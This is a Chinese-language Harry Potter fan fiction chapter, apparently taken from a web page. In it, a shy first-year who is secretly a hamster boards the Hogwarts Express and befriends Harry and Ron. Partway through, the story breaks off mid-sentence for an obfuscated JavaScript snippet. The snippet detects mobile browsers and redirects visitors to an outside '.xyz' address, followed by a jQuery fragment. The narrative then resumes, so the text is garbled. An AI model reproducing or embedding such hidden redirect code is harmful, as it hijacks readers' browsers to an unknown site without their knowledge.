“米诺，你真的要这样吗，你看起来特别傻。”艾贝尔悠哉游哉地走在米诺尔旁边，看他一手提着箱子，一手掩着费里斯比先生藏身的口袋防止被袭击，一边闭着眼睛往前摸索着走。
站台上人来人往，他能感觉到有许许多多的人与他擦肩而过，带起燥热的夏风。喧嚣声无处不在，昭显着极热闹的环境。
“哦，天哪，快看，乔治。”
“我想我看到了，弗雷德。”
闭着眼的米诺尔不知道发生了什么，他紧张地去摸艾贝尔，艾贝尔抓住他的手带他往前走。
那两个声音又响起来：“哎呀，你是今年的新生吧？”
“你怎么一直闭着眼睛？”
“难道你的导盲杖丢了吗？”
米诺尔听到艾贝尔忍笑的声音：“我想是的——”
“没有！我没有！”米诺尔敏锐地察觉到什么，他在艾贝尔拿他开玩笑前赶忙说话，“没有什么导盲杖，我只是怕猫头鹰而已！”
“我听到了什么，我的耳朵好像坏掉了。”一个活泼的声音说。
“没有，乔治。”另一个声音默契地接上上一句话，“你的耳朵没有问题，因为我也听到了。”
“米诺尔，我真害怕你去学校一去不返，再无音讯，”艾贝尔叹口气，“然后等你暑假回来告诉我们原因是因为你不敢进猫头鹰棚屋。”
“嘿，你们好！”艾贝尔换了一种语气跟面前米诺尔看不见的两人说话，“你们可真像啊！这是我弟弟，他今年上学。我想他这方面有点适应不了，但他是个好孩子。”
她又回头跟米诺尔说：“你总得睁眼的，你不可能闭着眼在霍格沃茨上学吧？再这样我就把你被送信猫头鹰吓昏的事告诉别人了。”
“你已经告诉别人了！”米诺尔真想尖叫。他的嗅觉在人形时也有一定的加强，从而形成他的直觉的一部分。他能判断出面前刚刚说话的两人根本没有走。
“米诺，没事，你总要迈出这一步的。”费里斯比先生安慰他。
“好吧，好吧，”他慢慢睁开眼，看向面前听了他糗事的两位学长。
两个红发的瘦高男孩正好奇地看着他，他们显然是双胞胎，长得一模一样。米诺尔飞快地回忆先前他们说的话，记住谁是弗雷德谁是乔治。
“诶呀，太神奇了，我第一次知道有害怕猫头鹰的小巫师，”乔治笑嘻嘻地说。
“那你一定要来格兰芬多啊！我们格兰芬多是最好的学院，特别适合练胆子！”弗雷德一本正经地握住他的手，“每一位毕业生都是勇敢的人！”
“那是因为进入格兰芬多里的人本来就拥有着勇气的特质吧，”艾贝尔一边拽着发抖的米诺尔往火车边走一边微笑着说，“别忽悠他，我弟弟会当真的。不过他确实是一个有勇气的孩子，尽管不管他进哪个学院我都觉得很棒。”
“啊！你别这样！”米诺尔根本不敢往乱瞟，生怕一不小心又看到猫头鹰。艾贝尔几乎是拖着他往前走。
“好吧，我想我们还是先走一步好了。”弗雷德笑嘻嘻地说。
“怕猫头鹰的新生，我们霍格沃茨见！”乔治冲两个人摆摆手，双胞胎的身影融进人群中了。
米诺尔浑浑噩噩地被艾贝尔带到火车边上。他终于无比清晰地意识到自己将进入一个完全不同于以往的世界，那个世界没有他熟悉了八年的规则，唯一能陪伴着他的是费里斯比先生。
他的心悲伤地跳动着，为自己这飘渺而无法回头的命运。一阵恐惧攥住他，他真的能在那个一无所知的世界活下去吗？
有人正在车门口搬动皮箱，米诺尔眼前一黑，心跳和悲伤一起停止了：他之前在对角巷，就是被这个男孩的雪鸮吓晕了。
“你好，”艾贝尔显然也认出这个人，“又见面了，向你和你的猫头鹰问好！需要帮忙吗？”
那个男孩显然也认出了他们，气喘吁吁地说：“是的，劳驾搭把手吧。”
他看了看米诺尔，贴心地补充道：“海德薇不在这里，我已经把它放到包厢里去了。”
米诺尔猜出来海德薇是哪位，放心地长吁一口气，跟着艾贝尔一起帮忙搬箱子。艾贝尔没有上车，当他和那个男孩一起把对方的箱子推到包厢角落后，回到车门口发现自己的箱子已经被热情的好心人们抬上车了。
面前是一模一样的双子，但他毫不费力地分清了弗雷德和乔治：“太感谢了！”
“我来帮你把箱子推过去吧。”那个男孩主动提出帮忙，他们两个一起再次推动皮箱。米诺尔心里为这个自己勉强算认识的人而暗暗开心，他准备把皮箱推到那个男孩的同一个车厢。
“那是什么？”突然，孪生兄弟中的一个指着那个男孩的脸问道。米诺尔惊奇地顺着他的指向看过去，第一次发现这个男孩头上居然有一道闪电型的伤疤。
“哎呀，我的天哪，莫非你是——？”
“什么？他是谁？”米诺尔知道自己的表情肯定是一脸困惑。
“哈利·波特。”
“哦，他呀。”那个男孩轻描淡写地说，米诺尔这时候想起来那个魔杖店主称他为波特先生，“我是说，不错，我就是。”
米诺尔目瞪口呆，明明他们都站在这里，但他现在好像局外人一样格格不入。他手足无措，干脆回到火车门处和艾贝尔告别。他的姐姐笑着对他摆手：“好吧，我觉得送到这里就行了，看起来我们已经把需要帮助的地方都解决好了，现在就靠你自己去认识新朋友了。”
“记得给我们写信啊。”
“我会的！”米诺尔突然有点想哭，这是他第一次自己远行。之前，不管是作为仓鼠还是作为人，他都只是生活在自己熟悉的一片小天地里。但现在，他要到一个完全陌生而遥远的地方去上学，只有费里斯比先生还陪着自己。
他不想让艾贝尔看到自己流眼泪，于是直接转头就跑进车厢。那个叫哈利·波特的男孩好像正往窗外看，但他并没有什么心情注视灿烂的阳光，又不好意思在外人面前直接叫费里斯比先生陪聊，干脆就坐在哈利旁边发呆。哈利奇怪地看他一眼，但当他小声说“猫头鹰”的时候就马上明白了。
“哎，这孩子。”火车外，艾贝尔摇摇头，她心里也充满好奇，在站台上看着别人上上下下。
一阵汽笛声响起，火车启动了。
推拉门的声音和说话声响起，米诺尔才反应过来自己刚才迷迷糊糊地睡着了，有人坐在了对面。
弗雷德和乔治的声音响起，向他们两个本来就在这个车厢的人介绍他们的名字和新来的这个男孩。米诺尔很喜欢这两个刚刚认识的人，快乐地冲他们摆摆手送别。
“你好！我是米诺尔·怀特洛。”米诺尔又恢复一点清醒，他跟旁边的两人自我介绍。
“你好，你认识乔治和弗雷德吗？”双胞胎的弟弟罗恩问他，“不过我刚刚就有点好奇，你为什么不坐这边？”
罗恩那侧的位置刚刚是空着的。
“刚刚在车下面，我姐姐送我的时候见过他们。”米诺尔回答了第一个，并假装没有听过第二个。毕竟他不可能说那个位置直面雪鸮笼子。但旁边的哈利可能懂了，他一副有点想笑的样子。
但当米诺尔旁边两个人开始谈论哈利的名字，罗恩问哈利神秘人和绿光的时候，他发现自己又回到了一头雾水的状态。他完全不知道怎么融入话题，只好迷迷糊糊地一边犯困，一边听着。他相信艾贝尔和格林太太，既然她们放心让自己来上学，说明霍格沃茨肯定还是很安全可靠的。
他的困倦和安静显然也打消了两个人直接找他问话闲聊的打算。罗恩和哈利聊的很投机，他也很喜欢这样听别人谈话。事实上，仓鼠总是很擅长听人说话的，而他一个月大的时候就已经幻想自己以后的主人能够开开心心跟他分享一切想聊的，因为他的倾听而快乐。
“五个，”罗恩说，“我是我们家去霍格沃茨上学的第六个了……”米诺尔同情地眨眨眼睛。他曾经好像也有五个兄弟姐妹，但是他们一断奶就分开，和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256512|182074||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很多其他鼠一起挤在笼子里，根本认不出谁是谁了。不管怎么说，数量多了总是很挤的，他小时候经常喝着奶就被他妈妈踹到窝外面……
但当罗恩拿出珀西给他的老鼠时，米诺尔不自觉就高兴起来。罗恩说：“他叫斑斑，已经毫无用处了，整天睡不醒……”
“但我觉得老鼠很棒啊！有没有可能是因为他也是白天睡觉，晚上活动的品种？”他兴致勃勃地猜想，“我记得乔纳森先生的老鼠朋友好像一开始也是昼伏夜出。”
罗恩看起来为他的插话而有点惊讶：“我想应该不是，斑斑已经在我们家呆了十一年了……乔纳森先生是谁？”
米诺尔先前一直没好意思跟费里斯比先生说话，现在见两个新朋友都不觉得斑斑有点奇怪，他就快活地将早已对一切好奇的费里斯比先生从口袋里放到肩膀上：“这是乔纳森·费里斯比先生。我可以看看它吗？”
罗恩同意了。
米诺尔把头凑到那个呼呼大睡的老鼠身边，但很遗憾，他连梦呓都没有听到。
“魔法世界的老鼠竟然能活十一年吗？”费里斯比先生显然和他一样觉得很神奇，“我没听到它说什么。嘿，朋友，你好吗？”
斑斑没有回应。
“你带的不是老鼠吧，”罗恩说，“它好像是田鼠。”
“是‘他’，如果你们能这么称呼乔纳森先生，我们都会很感激的。”米诺尔冲着面前两位轻快地说。
“不过它耳朵不好吗？”他有点犹疑地说，“乔纳森先生刚叫它，它好像没有回应。”
“我不知道，”罗恩显得有点沮丧，“毕竟它已经活这么多年了，珀西当上了级长，我爸送他一只猫头鹰，他们买不起——我是说，就把老鼠给我了。”
哈利急忙用自己的经历安慰罗恩。米诺尔也认真地听着，他喜欢这个自己在魔法界认识的第一个巫师朋友，很愿意听对方讲自己的故事。但正当他讲一半的时候，罗恩突然一副被吓到的样子。强烈的情感连带米诺尔也被吓一跳。
“你说出神秘人的名字了！”他一副被吓坏的样子，“我早该想到的，所有人当中只有你——”
“劳驾，”米诺尔插嘴，“什么是神秘人啊？”
他仔细回忆了一下哈利刚说的内容：“呃，伏地魔？”
罗恩看起来很想跳起来捂住他的嘴巴。
“好吧，对不起，”米诺尔歉疚地说，“所以这个人做过什么啊？”
“多的去了，”罗恩说，“哈利好歹还知道神秘人，你为什么好像什么都不知道的样子？”
米诺尔无辜地和费里斯比先生对视一眼。“失策，”费里斯比先生说，“我只翻了翻魔法史课本。”
哈利看起来倒是有些放松的样子，或许是发现霍格沃茨的新生也不都是懂得很多的小巫师。
列车驶过原野，一路飞驰。米诺尔出神地看向窗外：他从未乘坐过这样的交通工具，向后掠去的田野和草场此刻反而让他觉得比魔法还要迷人。车厢里出现了片刻的安静。
列车上的售货员女巫推着小推车进来，米诺尔才知道他的新朋友有多么富有——一位从口袋里掏出银西可慷慨地请他们（甚至还有费里斯比先生，他真好）吃东西，另一位则有着一个会做三明治的善厨艺的妈妈。
哈利将他买来的零食和他们一起分享，三个小男孩一边吃一边兴奋地叽叽喳喳。米诺尔吃到了一个仓鼠粮味道的多味豆，不禁非常怀念。他还尝试了一点罗恩妈妈的三明治，对小仓鼠来说也很香。米诺尔自己带来的面包则早就被他抛在脑后了。
费里斯比先生吃了一点点南瓜馅饼后就礼貌地拒绝了其他食物：“我想我还是更习惯吃浆果和谷物一点。”米诺尔自己吃掉了剩下的部分，并且愉快地决定一到霍格沃茨就带着费里斯比先生去翻草坪找吃的。
白昼很长。在朋友们的一来一往的笑闹声和火车咣当咣当的声响下，他怀着对学校美好的期望打起了哈欠，然后规规矩矩地蜷缩在座位上睡着了。